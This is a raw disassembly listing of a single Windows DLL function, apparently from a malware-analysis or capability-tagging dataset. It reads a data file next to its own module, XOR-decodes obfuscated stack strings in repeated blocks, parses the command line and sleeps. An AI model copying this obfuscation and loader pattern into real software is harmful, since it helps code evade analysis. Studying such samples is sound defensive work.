Function at 0x100032e0
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2e4
mov eax, dword [0x10020004]
xor eax, esp
mov dword [esp + 0x2e0], eax
push ebx
push esi
push edi
push 0x1001dd7c
lea eax, [esp + 0xdc]
mov dword [esp + 0xd8], 0
push str.data
push eax
mov dword [esp + 0xe4], 0
mov dword [esp + 0xdc], 0
call fcn.10008ac2
add esp, 0xc
test eax, eax
je 0x100033b8
push 0x208
lea eax, [esp + 0xe4]
push 0
push eax
call fcn.100056f0
add esp, 0xc
lea eax, [esp + 0xe0]
push 0x104
push eax
push dword [0x100213b0]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0xe0]
push 0x5c
push eax
call fcn.10005108
xor ecx, ecx
push str.data
push 0x104
mov word [eax + 2], cx
lea eax, [esp + 0xf0]
push eax
call fcn.10008b09
add esp, 0x14
lea eax, [esp + 0xe0]
push 0x1001dd7c
push eax
lea eax, [esp + 0xe0]
push eax
call fcn.10008ac2
add esp, 0xc
mov eax, dword [esp + 0xd8]
test eax, eax
je 0x10003cb8
push 2
push 0
push eax
call fcn.10008e3a
add esp, 0xc
push dword [esp + 0xd8]
call fcn.1000944d
add esp, 4
mov esi, eax
push 0
push 0
push dword [esp + 0xe0]
call fcn.10008e3a
add esp, 0xc
push esi
call fcn.10003f22
add esp, 4
mov edi, eax
push dword [esp + 0xd8]
push esi
push 1
push edi
call fcn.1000963e
push 0x1001dd90
push edi
call fcn.100051b0
add esp, 0x18
test eax, eax
je 0x1000344e
mov ebx, eax
sub ebx, edi
mov dword [esp + 0xd4], ebx
lea eax, [ebx + 1]
push eax
call fcn.10003f22
add esp, 4
mov dword [esp + 0xd0], eax
push ebx
push edi
push eax
call fcn.10006cb0
add esp, 0xc
push edi
call fcn.10003f1d
add esp, 4
push dword [esp + 0xd8]
call fcn.100097f0
add esp, 4
cmp dword [esp + 0xd0], 0
je 0x10003cb8
mov ch, 0x18
mov byte [esp + 0xc3], 0
mov al, ch
mov byte [esp + 0x76], ch
xor al, ch
mov byte [esp + 0x77], ch
movsx eax, al
mov cl, ch
cdq
xor cl, ch
mov edi, eax
mov byte [esp + 0x74], ch
mov esi, edx
movsx eax, cl
cdq
mov bl, ch
add edi, eax
mov byte [esp + 0x75], ch
mov bh, ch
mov byte [esp + 0x73], ch
adc esi, edx
mov byte [esp + 0x72], ch
xor bl, ch
mov byte [esp + 0xc3], 0
movsx eax, bl
cdq
add edi, eax
mov byte [esp + 0xc3], 0
mov byte [esp + 0xc3], 0
adc esi, edx
mov byte [esp + 0xc3], 0
xor ch, ch
mov byte [esp + 0xc3], 0
movsx eax, ch
cdq
add edi, eax
adc esi, edx
xor bh, bh
movsx eax, bh
cdq
add edi, eax
mov al, byte [esp + 0x76]
adc esi, edx
xor al, byte [esp + 0x77]
movsx eax, al
cdq
add edi, eax
adc esi, edx
or edi, esi
jne 0x10003748
movaps xmm0, xmmword [0x1001dda0]
mov cl, 0x18
mov byte [esp + 0x10], cl
xor eax, eax
movups xmmword [esp + 0x11], xmm0
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 0xf
jae 0x10003534
mov cl, byte [esp + 0x10]
jmp 0x10003524
movaps xmm0, xmmword [0x1001dda0]
mov cl, 0x18
mov byte [esp + 0x50], cl
xor eax, eax
movups xmmword [esp + 0x51], xmm0
xor byte [esp + eax + 0x51], cl
inc eax
cmp eax, 0xf
jae 0x10003558
mov cl, byte [esp + 0x50]
jmp 0x10003548
movaps xmm0, xmmword [0x1001dda0]
mov cl, 0x18
mov byte [esp + 0x78], cl
xor eax, eax
movups xmmword [esp + 0x79], xmm0
nop dword [eax]
xor byte [esp + eax + 0x79], cl
inc eax
cmp eax, 0xf
jae 0x10003580
mov cl, byte [esp + 0x78]
jmp 0x10003570
movaps xmm0, xmmword [0x1001dda0]
mov cl, 0x18
mov byte [esp + 0x98], cl
xor eax, eax
movups xmmword [esp + 0x99], xmm0
nop word [eax + eax]
xor byte [esp + eax + 0x99], cl
inc eax
cmp eax, 0xf
jae 0x100035b6
mov cl, byte [esp + 0x98]
jmp 0x100035a0
movaps xmm0, xmmword [0x1001dda0]
mov cl, 0x18
mov byte [esp + 0xb8], cl
xor eax, eax
movups xmmword [esp + 0xb9], xmm0
xor byte [esp + eax + 0xb9], cl
inc eax
cmp eax, 0xf
jae 0x100035e6
mov cl, byte [esp + 0xb8]
jmp 0x100035d0
movsx eax, byte [esp + 0xb9]
cdq
mov esi, eax
mov ecx, edx
movsx eax, byte [esp + 0x99]
cdq
add esi, eax
movsx eax, byte [esp + 0x79]
adc ecx, edx
cdq
add esi, eax
movsx eax, byte [esp + 0x51]
adc ecx, edx
cdq
add esi, eax
movsx eax, byte [esp + 0x11]
adc ecx, edx
cdq
add esi, eax
adc ecx, edx
or esi, ecx
jne 0x10003748
movaps xmm0, xmmword [0x1001dda0]
mov cl, 0x18
mov byte [esp + 0x78], cl
xor eax, eax
movups xmmword [esp + 0x79], xmm0
nop word [eax + eax]
xor byte [esp + eax + 0x79], cl
inc eax
cmp eax, 0xf
jae 0x10003650
mov cl, byte [esp + 0x78]
jmp 0x10003640
movaps xmm0, xmmword [0x1001dda0]
mov cl, 0x18
mov byte [esp + 0x50], cl
xor eax, eax
movups xmmword [esp + 0x51], xmm0
xor byte [esp + eax + 0x51], cl
inc eax
cmp eax, 0xf
jae 0x10003674
mov cl, byte [esp + 0x50]
jmp 0x10003664
movaps xmm0, xmmword [0x1001dda0]
mov cl, 0x18
mov byte [esp + 0x10], cl
xor eax, eax
movups xmmword [esp + 0x11], xmm0
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 0xf
jae 0x10003698
mov cl, byte [esp + 0x10]
jmp 0x10003688
movsx eax, byte [esp + 0x11]
cdq
mov esi, eax
mov ecx, edx
movsx eax, byte [esp + 0x51]
cdq
add esi, eax
movsx eax, byte [esp + 0x79]
adc ecx, edx
cdq
add esi, eax
adc ecx, edx
or esi, ecx
jne 0x10003748
movaps xmm0, xmmword [0x1001dda0]
mov cl, 0x18
mov byte [esp + 0x50], cl
xor eax, eax
movups xmmword [esp + 0x51], xmm0
xor byte [esp + eax + 0x51], cl
inc eax
cmp eax, 0xf
jae 0x100036e2
mov cl, byte [esp + 0x50]
jmp 0x100036d2
movaps xmm0, xmmword [0x1001dda0]
mov cl, 0x18
mov byte [esp + 0x10], cl
xor eax, eax
movups xmmword [esp + 0x11], xmm0
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 0xf
jae 0x10003706
mov cl, byte [esp + 0x10]
jmp 0x100036f6
movsx eax, byte [esp + 0x11]
cdq
mov esi, eax
mov ecx, edx
movsx eax, byte [esp + 0x51]
cdq
add esi, eax
adc ecx, edx
or esi, ecx
jne 0x10003748
mov cl, 0x18
mov byte [esp + 0xe], 0
mov al, cl
mov byte [esp + 0xc], cl
xor al, cl
mov byte [esp + 0xe], 0
mov byte [esp + 0xd], al
lea eax, [esp + 0xd]
push eax
push 0x1001dd94
call fcn.10001920
add esp, 8
movaps xmm0, xmmword [0x1001ddb0]
mov cl, 0x18
mov byte [esp + 0x30], cl
xor eax, eax
movups xmmword [esp + 0x31], xmm0
mov dword [esp + 0x41], 0x2b2a2928
mov byte [esp + 0x45], 0
nop dword [eax]
xor byte [esp + eax + 0x31], cl
inc eax
cmp eax, 0x14
jae 0x10003780
mov cl, byte [esp + 0x30]
jmp 0x10003770
movaps xmm0, xmmword [0x1001ddb0]
mov cl, 0x18
mov byte [esp + 0xb8], cl
xor eax, eax
movups xmmword [esp + 0xb9], xmm0
mov dword [esp + 0xc9], 0x2b2a2928
mov byte [esp + 0xcd], 0
nop dword [eax]
xor byte [esp + eax + 0xb9], cl
inc eax
cmp eax, 0x14
jae 0x100037c6
mov cl, byte [esp + 0xb8]
jmp 0x100037b0
movaps xmm0, xmmword [0x1001ddb0]
mov cl, 0x18
mov byte [esp + 0x98], cl
xor eax, eax
movups xmmword [esp + 0x99], xmm0
mov dword [esp + 0xa9], 0x2b2a2928
mov byte [esp + 0xad], 0
xor byte [esp + eax + 0x99], cl
inc eax
cmp eax, 0x14
jae 0x10003809
mov cl, byte [esp + 0x98]
jmp 0x100037f3
movaps xmm0, xmmword [0x1001ddb0]
mov cl, 0x18
mov byte [esp + 0x78], cl
xor eax, eax
movups xmmword [esp + 0x79], xmm0
mov dword [esp + 0x89], 0x2b2a2928
mov byte [esp + 0x8d], 0
xor byte [esp + eax + 0x79], cl
inc eax
cmp eax, 0x14
jae 0x10003840
mov cl, byte [esp + 0x78]
jmp 0x10003830
movaps xmm0, xmmword [0x1001ddb0]
mov cl, 0x18
mov byte [esp + 0x50], cl
xor eax, eax
movups xmmword [esp + 0x51], xmm0
mov dword [esp + 0x61], 0x2b2a2928
mov byte [esp + 0x65], 0
xor byte [esp + eax + 0x51], cl
inc eax
cmp eax, 0x14
jae 0x10003871
mov cl, byte [esp + 0x50]
jmp 0x10003861
movaps xmm0, xmmword [0x1001ddb0]
mov cl, 0x18
mov byte [esp + 0x10], cl
xor eax, eax
movups xmmword [esp + 0x11], xmm0
mov dword [esp + 0x21], 0x2b2a2928
mov byte [esp + 0x25], 0
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 0x14
jae 0x100038a2
mov cl, byte [esp + 0x10]
jmp 0x10003892
movsx eax, byte [esp + 0x11]
cdq
mov esi, eax
mov ecx, edx
movsx eax, byte [esp + 0x51]
cdq
add esi, eax
movsx eax, byte [esp + 0x79]
adc ecx, edx
cdq
add esi, eax
movsx eax, byte [esp + 0x99]
adc ecx, edx
cdq
add esi, eax
movsx eax, byte [esp + 0xb9]
adc ecx, edx
cdq
add esi, eax
movsx eax, byte [esp + 0x31]
adc ecx, edx
cdq
add esi, eax
adc ecx, edx
or esi, ecx
jne 0x10003c9a
movaps xmm0, xmmword [0x1001ddb0]
mov cl, 0x18
mov byte [esp + 0x98], cl
xor eax, eax
movups xmmword [esp + 0x99], xmm0
mov dword [esp + 0xa9], 0x2b2a2928
mov dword [esp + 0xad], 0x2f2e2d2c
mov dword [esp + 0xb1], 0x33323130
mov word [esp + 0xb5], 0x3534
mov byte [esp + 0xb7], 0
nop dword [eax]
xor byte [esp + eax + 0x99], cl
inc eax
cmp eax, 0x1e
jae 0x10003956
mov cl, byte [esp + 0x98]
jmp 0x10003940
movaps xmm0, xmmword [0x1001ddb0]
mov cl, 0x18
mov byte [esp + 0x78], cl
xor eax, eax
movups xmmword [esp + 0x79], xmm0
mov dword [esp + 0x89], 0x2b2a2928
mov dword [esp + 0x8d], 0x2f2e2d2c
mov dword [esp + 0x91], 0x33323130
mov word [esp + 0x95], 0x3534
mov byte [esp + 0x97], 0
nop dword [eax]
xor byte [esp + eax + 0x79], cl
inc eax
cmp eax, 0x1e
jae 0x100039b0
mov cl, byte [esp + 0x78]
jmp 0x100039a0
movaps xmm0, xmmword [0x1001ddb0]
mov cl, 0x18
mov byte [esp + 0x50], cl
xor eax, eax
movups xmmword [esp + 0x51], xmm0
mov dword [esp + 0x61], 0x2b2a2928
mov dword [esp + 0x65], 0x2f2e2d2c
mov dword [esp + 0x69], 0x33323130
mov word [esp + 0x6d], 0x3534
mov byte [esp + 0x6f], 0
xor byte [esp + eax + 0x51], cl
inc eax
cmp eax, 0x1e
jae 0x100039f8
mov cl, byte [esp + 0x50]
jmp 0x100039e8
movaps xmm0, xmmword [0x1001ddb0]
mov cl, 0x18
mov byte [esp + 0x10], cl
xor eax, eax
movups xmmword [esp + 0x11], xmm0
mov dword [esp + 0x21], 0x2b2a2928
mov dword [esp + 0x25], 0x2f2e2d2c
mov dword [esp + 0x29], 0x33323130
mov word [esp + 0x2d], 0x3534
mov byte [esp + 0x2f], 0
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 0x1e
jae 0x10003a40
mov cl, byte [esp + 0x10]
jmp 0x10003a30
movaps xmm0, xmmword [0x1001ddb0]
mov cl, 0x18
mov byte [esp + 0x30], cl
xor eax, eax
movups xmmword [esp + 0x31], xmm0
mov dword [esp + 0x41], 0x2b2a2928
mov dword [esp + 0x45], 0x2f2e2d2c
mov dword [esp + 0x49], 0x33323130
mov word [esp + 0x4d], 0x3534
mov byte [esp + 0x4f], 0
xor byte [esp + eax + 0x31], cl
inc eax
cmp eax, 0x1e
jae 0x10003a88
mov cl, byte [esp + 0x30]
jmp 0x10003a78
movsx eax, byte [esp + 0x31]
cdq
mov esi, eax
mov ecx, edx
movsx eax, byte [esp + 0x11]
cdq
add esi, eax
movsx eax, byte [esp + 0x51]
adc ecx, edx
cdq
add esi, eax
movsx eax, byte [esp + 0x79]
adc ecx, edx
cdq
add esi, eax
movsx eax, byte [esp + 0x99]
adc ecx, edx
cdq
add esi, eax
adc ecx, edx
or esi, ecx
jne 0x10003c9a
movaps xmm0, xmmword [0x1001ddb0]
mov cl, 0x18
mov byte [esp + 0x50], cl
xor eax, eax
movups xmmword [esp + 0x51], xmm0
mov dword [esp + 0x61], 0x2b2a2928
mov dword [esp + 0x65], 0x2f2e2d2c
mov dword [esp + 0x69], 0x33323130
mov word [esp + 0x6d], 0x3534
mov byte [esp + 0x6f], 0
nop dword [eax]
xor byte [esp + eax + 0x51], cl
inc eax
cmp eax, 0x1e
jae 0x10003b10
mov cl, byte [esp + 0x50]
jmp 0x10003b00
movaps xmm0, xmmword [0x1001ddb0]
mov cl, 0x18
mov byte [esp + 0x10], cl
xor eax, eax
movups xmmword [esp + 0x11], xmm0
mov dword [esp + 0x21], 0x2b2a2928
mov dword [esp + 0x25], 0x2f2e2d2c
mov dword [esp + 0x29], 0x33323130
mov word [esp + 0x2d], 0x3534
mov byte [esp + 0x2f], 0
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 0x1e
jae 0x10003b58
mov cl, byte [esp + 0x10]
jmp 0x10003b48
movaps xmm0, xmmword [0x1001ddb0]
mov cl, 0x18
mov byte [esp + 0x30], cl
xor eax, eax
movups xmmword [esp + 0x31], xmm0
mov dword [esp + 0x41], 0x2b2a2928
mov dword [esp + 0x45], 0x2f2e2d2c
mov dword [esp + 0x49], 0x33323130
mov word [esp + 0x4d], 0x3534
mov byte [esp + 0x4f], 0
xor byte [esp + eax + 0x31], cl
inc eax
cmp eax, 0x1e
jae 0x10003ba0
mov cl, byte [esp + 0x30]
jmp 0x10003b90
movsx eax, byte [esp + 0x31]
cdq
mov esi, eax
mov ecx, edx
movsx eax, byte [esp + 0x11]
cdq
add esi, eax
movsx eax, byte [esp + 0x51]
adc ecx, edx
cdq
add esi, eax
adc ecx, edx
or esi, ecx
jne 0x10003c9a
movaps xmm0, xmmword [0x1001ddb0]
mov cl, 0x18
mov byte [esp + 0x10], cl
xor eax, eax
movups xmmword [esp + 0x11], xmm0
mov dword [esp + 0x21], 0x2b2a2928
mov dword [esp + 0x25], 0x2f2e2d2c
mov dword [esp + 0x29], 0x33323130
mov word [esp + 0x2d], 0x3534
mov byte [esp + 0x2f], 0
nop
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 0x1e
jae 0x10003c10
mov cl, byte [esp + 0x10]
jmp 0x10003c00
movaps xmm0, xmmword [0x1001ddb0]
mov cl, 0x18
mov byte [esp + 0x30], cl
xor eax, eax
movups xmmword [esp + 0x31], xmm0
mov dword [esp + 0x41], 0x2b2a2928
mov dword [esp + 0x45], 0x2f2e2d2c
mov dword [esp + 0x49], 0x33323130
mov word [esp + 0x4d], 0x3534
mov byte [esp + 0x4f], 0
xor byte [esp + eax + 0x31], cl
inc eax
cmp eax, 0x1e
jae 0x10003c58
mov cl, byte [esp + 0x30]
jmp 0x10003c48
movsx eax, byte [esp + 0x31]
cdq
mov esi, eax
mov ecx, edx
movsx eax, byte [esp + 0x11]
cdq
add esi, eax
adc ecx, edx
or esi, ecx
jne 0x10003c9a
mov cl, 0x18
mov byte [esp + 0xe], 0
mov al, cl
mov byte [esp + 0xc], cl
xor al, cl
mov byte [esp + 0xe], 0
mov byte [esp + 0xd], al
lea eax, [esp + 0xd]
push eax
push 0x1001dd94
call fcn.10001920
add esp, 8
mov ebx, dword [esp + 0xd0]
mov ecx, ebx
mov edx, dword [esp + 0xd4]
call fcn.100028e0
push ebx
call fcn.10003f1d
add esp, 4
lea eax, [esp + 0xdc]
mov dword [esp + 0xdc], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [esp + 0xdc], 1
jne 0x10003ced
push 0x9c40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0x2ec]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10003eae
mov esp, ebp
pop ebp
ret